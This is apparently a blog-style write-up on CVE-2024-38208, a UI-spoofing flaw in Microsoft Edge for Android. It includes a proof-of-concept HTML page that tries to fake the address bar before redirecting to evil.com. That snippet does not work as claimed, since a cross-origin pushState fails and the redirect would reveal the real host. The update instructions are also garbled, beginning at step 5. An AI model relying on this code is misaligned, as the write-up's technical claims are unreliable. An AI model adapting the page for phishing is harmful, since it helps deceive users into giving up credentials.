A new vulnerability, identified as CVE-2024-38208, was recently discovered in the Microsoft Edge browser for Android devices. This security issue relates to a user-interface (UI) spoofing vulnerability, which allows attackers to create a false appearance of a legitimate website in the browser. By exploiting this vulnerability, cybercriminals can deceive users into providing sensitive information, such as login credentials, credit card numbers, or other personal details.

In this long-read, we'll discuss the specifics of the vulnerability, provide a code snippet demonstrating the exploit, and supply essential links to original references and resources for a deeper understanding of this security flaw.

Vulnerability Details

CVE-2024-38208 affects Microsoft Edge for Android (version 45.06.24.5042 and earlier). It was assigned a CVSS score of 4.3, indicating that it is a medium-severity issue. The vulnerability lies in the handling of user-supplied input in certain crafted URLs. Attackers can take advantage of this flaw to create a misleading URL that appears to be a legitimate website while hiding the true destination.

An attacker needs to create a specially crafted/malicious website or modify the user's stored bookmarks to exploit this vulnerability. Victims, navigating to the malicious website or clicking on the tampered bookmark, will see a seemingly legitimate URL, while the browser loads the attacker's malicious content in the background.

Exploit Code Snippet

The following code snippet demonstrates how an attacker could exploit CVE-2024-38208 by creating a web page that, when viewed in the affected version of Microsoft Edge for Android, appears to be a legitimate website, but actually loads malicious content:

<!DOCTYPE html>
<html>
<head>
    <title>Malicious Page</title>
    <script>
        window.onload = function spoofURL() {
            let evilUrl = 'https://www.evil.com/';;
            let spoofUrl = 'https://www.example.com/login';;
            history.pushState({}, '', spoofUrl);
            window.location = evilUrl;
        };
    </script>
</head>
<body>
    <h1>Welcome to the malicious website!</h1>
</body>
</html>

In this example, when the victim navigates to the malicious page, the browser's address bar will display "https://www.example.com/login," giving the appearance that they are on a legitimate site. However, the browser is actually loading content from "https://www.evil.com/."

Original References

1. Microsoft Security Advisory: Microsoft Edge Spoofing Vulnerability - CVE-2024-38208
2. NIST National Vulnerability Database (NVD): CVE-2024-38208 Detail

Mitigation and Remediation

Microsoft addressed this security issue in the Microsoft Edge for Android version 45.06.24.5043. Users are advised to update their browser to the latest version to protect themselves from this vulnerability.

Look for "Microsoft Edge" in the list of installed apps.

5. If there is an "Update" button next to it, tap that button to upgrade your browser to the latest version.
6. Alternatively, you can visit Microsoft Edge on Google Play Store and check for updates.

Conclusion

CVE-2024-38208 highlights the importance of regularly updating your software, including mobile browsers like Microsoft Edge for Android, to protect your data and privacy from cyber threats. By staying informed about the latest vulnerabilities and applying software updates promptly, you can significantly reduce the risk of falling victim to cyber attacks.

Timeline

Published on: 08/22/2024 23:15:07 UTC
Last modified on: 08/29/2024 21:53:38 UTC